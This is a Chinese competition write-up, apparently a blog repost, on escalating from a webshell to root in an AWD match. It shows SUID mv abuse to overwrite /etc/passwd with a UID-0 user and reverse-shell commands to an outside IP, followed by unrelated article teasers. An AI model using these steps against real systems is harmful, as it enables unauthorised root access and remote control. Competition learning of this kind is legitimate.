记一次 AWD 比赛中曲折的 Linux 提权
前提背景:
今天一场 AWD 比赛中,遇到一个场景:PHP网站存在SQL注入和文件上传漏洞, MYSQL当前用户为ROOT,文件上传蚁剑连接SHELL是权限很低的用户。我需要想办法进行提权,才能读取到 /root 目录下的 flag。
一、sqlmap --os-shell 提权

看到当前用户是DBA都会想着 --os-shell 提权拿shell, 然后直接读取 /root 里面的 flag。 然而我试了半天,一直无法获取shell, 卡在无法写入文件。查阅资料发现自己一直对数据库的root有误解:
- DBA(Database Administrator)通常是数据库管理员的角色,负责管理数据库的配置、性能优化、安全性等任务。然而,DBA 和操作系统中的 root 用户不是同一个概念,它们有不同的权限和责任。
- 在数据库管理系统中,root 用户是具有最高权限的用户,可以执行所有管理任务,包括创建、删除、修改数据库对象以及用户帐户。但是,root 用户在操作系统层面没有访问操作系统文件系统的权限,包括读取操作系统的 root 目录。
- 使用 sqlmap -os-shell 可能导致获取到与目标系统相关的命令执行权限,但这与操作系统的 root 权限无关。-os-shell 的具体权限取决于目标系统上正在运行的 Web 应用程序的用户权限,而不是数据库的 root 权限。
综上,此法无效。
二、内核提权:
目标服务器版本信息:
运行 linux-exploit-suggester.sh 脚本根据当前linux版本查询可利用内核提权程序

下载了好几个截图中内核提权的.c源代码进行编译,然而没一个有用,不想找了,遂放弃。
三、SUID 提权:
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么该执行程序运行的时候将拥有ROOT权限。
ps:常见的suid提权文件:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
使用开源工具 suidcheck.sh 自动分析具有 s 权限的可执行文件:

存在 mv 命令,利用 mv 提权:
(www-data:/var/www/html/uploads) $ cat /etc/passwd > passwd
(www-data:/var/www/html/uploads) $ openssl passwd -1 -salt hack hack123
$1$hack$WTn0dk2QjNeKfl.DHOUue0
构造成: hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash 插入 passwd
mv 移动 passwd 覆盖 /etc 下的 passwd:

使用 su hack 进行用户切换,提示:su: must be run from a terminal

查阅资料解决方法:python -c 'import pty; pty.spawn("/bin/bash")' ,但是我输入一直报错,非常难受…

我怀疑是蚁剑的问题,我又换上了我的哥斯拉,依旧是这样。我在想要不试试反弹个shell, 因为蚁剑,哥斯拉都是php落地文件执行命令,不是一个shell。
反弹shell 命令:bash -i >/dev/tcp/43.136.46.254/1333 0>&1

又报错了:/bin/sh: 1: cannot create /dev/tcp/43.136.46.254/1333: Directory nonexistent
难道思路又错了??我特么就不信了,在 Stackoverflow论坛里找到相关解决方案:
使用shell执行脚本有两种方式,分别是 bash xxx.sh 和 bash -c “cmd string”。根据报错信息可知,目标主机使用的是sh,是bash的精简版本,相当于bash --posix 模式。Posix 标准 shell 不提供此功能,这个特性很奇怪,假装有一个/dev/tcp/目录。
解决办法:以后默认使用bash -c “cmd string” 进行反弹shell。如: bash -c ‘exec bash -i >& /dev/tcp/ip/port <&1’

ps: 成功反弹shell,值得注意的是: 有时候会报错,建议尝试执行1-3遍。
在自己的服务器上执行 python 脚本:python -c 'import pty; pty.spawn("/bin/bash")'

无报错,执行 su hack 切换用户,并输入密码:

提权成功!开始读取 /root 下的 flag:

相关文章:
记一次 AWD 比赛中曲折的 Linux 提权
前提背景: 今天一场 AWD 比赛中,遇到一个场景:PHP网站存在SQL注入和文件上传漏洞, MYSQL当前用户为ROOT,文件上传蚁剑连接SHELL是权限很低的用户。我需要想办法进行提权,才能读取到 /root 目录下的 flag。 一、sqlmap …...
[SpringCloud] Feign 与 Gateway 简介
目录 一、Feign 简介 1、RestTemplate 远程调用中存在的问题 2、定义和使用 Feign 客户端 3、Feign 自定义配置 4、Feign 性能优化 5、Feign 最佳实践 6、Feign 使用问题汇总 二、Gateway 网关简介 1、搭建网关服务 2、路由断言工厂 3、路由的过滤器配置 4、全局过…...
[Unity] 个人编码规范与命名准则参考
Unity C# 在写的过程中, 和纯 C# 是有很大出入的. 甚至说, Unity C# 就是邪教. 例如它的命名规范与 C# 是不一致的, 而且由于游戏引擎的介入, 编写时的习惯相较于 C# 来讲, 也需要有所改变. 通用编码规范 常见的一些编码规范就不需要过多提及了, 这里只做简单列举. 添加合适…...
堆栈与队列算法-以链表来实现队列
目录 堆栈与队列算法-以链表来实现队列 C代码 堆栈与队列算法-以链表来实现队列 队列除了能以数组的方式来实现外,也可以用链表来实现。在声明队列的类中,除了和队列相关的方法外,还必须有指向队列前端和队列末尾的指针,即fron…...
快速入门:使用 Spring Boot 构建 Web 应用程序
前言 本文将讨论以下主题: 安装 Java JDK、Gradle 或 Maven 和 Eclipse 或 IntelliJ IDEA创建一个新的 Spring Boot 项目运行 Spring Boot 应用程序编写一个简单的 Web 应用程序打包应用程序以用于生产环境 通过这些主题,您将能够开始使用 Spring Boo…...
01.CentOS7静默安装oracle11g
CentOS7静默安装oracle11g 一、下载Oracle11g安装包二、开始安装oracle11g三、配置Oracle监听程序四、添加数据库实例五、设置开机启动六、登录后解除锁定 一、下载Oracle11g安装包 下载链接:https://pan.baidu.com/s/1gcLMFGX7-8ju7OoFOFLzQA 提取码:6…...
SASE安全访问服务边缘
自存用: 参考文档: 什么是安全访问服务边缘 (SASE)? | Microsoft 安全 网安人必读 |一文读懂SASE - 知乎...
k8s集群升级
目录 1. 部署cri-docker (所有集群节点) 2. 升级master节点 3. 升级worker节点 4. 部署containerd 1. 部署cri-docker (所有集群节点) k8s从1.24版本开始移除了dockershim,所以需要安装cri-docker插件才能使用docker …...
redis原理 主从同步和哨兵集群
主从库如何实现数据一致 我们总说的 Redis 具有高可靠性,又是什么意思呢?其实,这里有两层含义:一是数据尽量少丢失,二是服务尽量少中断。AOF 和 RDB 保证了前者,而对于后者,Redis 的做法就是增…...
四季古诗赏析
春晓 春眠不觉晓,处处闻啼鸟。夜来风雨声,花落知多少。 夏意 别院深深夏簟清,石榴开遍透帘明。树阴满地日当午,梦觉流莺时一声。 秋词 自古逢秋悲寂寥,我言秋日胜春朝。晴空一鹤排云上,便引诗情到碧霄。 …...
【网络协议】聊聊套接字socket
网络编程我们知道是通过socket进行编程的,其实socket也是基于TCP和UDP协议进行编程的。但是在socket层面是感知不到下层的,所以在设置参数的时候,其实是端到端协议智商的网络层和传输层。TCP是数据流所以设置为SOCK_STREAM,而UDP是…...
GEO生信数据挖掘(十一)STRING数据库PPI蛋白互作网络 Cytoscape个性化绘图【SCI 指日可待】
GEO生信数据挖掘(十)肺结核数据-差异分析-WGCNA分析(900行代码整理注释更新版本) 通过 前面十篇文章的学习,我们应该已经可以获取到一个”心仪的基因列表“了,相较于原始基因数量,这个列表的数…...
api接口更新钉钉文档
class OperateKnowledgeBaseExcel():robot_code # agent_id #app_key #群机器人app_secret #群机器人def __init__(self,union_id, workbook_id, worksheet_id):self.union_id union_idself.workbook_id workbook_id # 获取方式:... &g…...
Android---如何同view进行渲染
ViewRootImpl 在 Activity、window 和 View 三者关系之间起着承上启下的作用。一方面,ViewRootImpl 中通过 Binder 通信机制,远程调用 WindowSession 将 View 添加到 Window 中;另一方面,ViewRootImpl 在添加 View 之前࿰…...
【LeetCode:26. 删除有序数组中的重复项 | 双指针】
🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…...
如何判断一个对象是不是一个空对象?
在JavaScript中,可以使用以下方法来判断一个对象是否为空对象: 1:使用Object.keys()方法:Object.keys()方法返回一个包含对象自身可枚举属性的数组。通过判断该数组的长度,可以确定对象是否为空对象。 function isEm…...
C/C++ “variable set but not used“的 警告问题解决方案
在编程的过程中,会有一些预留的变量暂时不用,但是编译过程编译器警告 会报错无法编译通过针对这个问题,采用下面的解决方案比较方便。 错误如下形式: 三种解决方法: 1.可以在变量前加上(void)就…...
JAVA安全入门之反射
反射 对于反射这个概念来说,直白的讲就是: 对象可以通过反射获取他的类,类可以通过反射拿到所有⽅法(包括私有),拿到的⽅法可以调⽤而众所周知 JAVA 是一门静态语言,我们通过反射就可以达到动…...
【c++|opencv】一、基础操作---2.图像信息获取
every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 图像信息获取,roi 1. 图像信息获取 // 获取图像信息#include <iostream> #include <opencv2/opencv.hpp>using namespace cv; …...
HarmonyOS开发:探索组件化模式开发
前言 组件化一直是移动端比较流行的开发方式,有着编译运行快,业务逻辑分明,任务划分清晰等优点,针对Android端的组件化,之前有比较系统的总结过相关文章,感兴趣的朋友,可以查看,点击…...
[特殊字符] 智能合约中的数据是如何在区块链中保持一致的?
🧠 智能合约中的数据是如何在区块链中保持一致的? 为什么所有区块链节点都能得出相同结果?合约调用这么复杂,状态真能保持一致吗?本篇带你从底层视角理解“状态一致性”的真相。 一、智能合约的数据存储在哪里…...
eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)
说明: 想象一下,你正在用eNSP搭建一个虚拟的网络世界,里面有虚拟的路由器、交换机、电脑(PC)等等。这些设备都在你的电脑里面“运行”,它们之间可以互相通信,就像一个封闭的小王国。 但是&#…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
2025 后端自学UNIAPP【项目实战:旅游项目】6、我的收藏页面
代码框架视图 1、先添加一个获取收藏景点的列表请求 【在文件my_api.js文件中添加】 // 引入公共的请求封装 import http from ./my_http.js// 登录接口(适配服务端返回 Token) export const login async (code, avatar) > {const res await http…...
什么是EULA和DPA
文章目录 EULA(End User License Agreement)DPA(Data Protection Agreement)一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA(End User License Agreement) 定义: EULA即…...
实现弹窗随键盘上移居中
实现弹窗随键盘上移的核心思路 在Android中,可以通过监听键盘的显示和隐藏事件,动态调整弹窗的位置。关键点在于获取键盘高度,并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...
vue3+vite项目中使用.env文件环境变量方法
vue3vite项目中使用.env文件环境变量方法 .env文件作用命名规则常用的配置项示例使用方法注意事项在vite.config.js文件中读取环境变量方法 .env文件作用 .env 文件用于定义环境变量,这些变量可以在项目中通过 import.meta.env 进行访问。Vite 会自动加载这些环境变…...
大学生职业发展与就业创业指导教学评价
这里是引用 作为软工2203/2204班的学生,我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要,而您认真负责的教学态度,让课程的每一部分都充满了实用价值。 尤其让我…...
Hive 存储格式深度解析:从 TextFile 到 ORC,如何选对数据存储方案?
在大数据处理领域,Hive 作为 Hadoop 生态中重要的数据仓库工具,其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式,很多开发者常常陷入选择困境。本文将从底…...
处理vxe-table 表尾数据是单独一个接口,表格tableData数据更新后,需要点击两下,表尾才是正确的
修改bug思路: 分别把 tabledata 和 表尾相关数据 console.log() 发现 更新数据先后顺序不对 settimeout延迟查询表格接口 ——测试可行 升级↑:async await 等接口返回后再开始下一个接口查询 ________________________________________________________…...
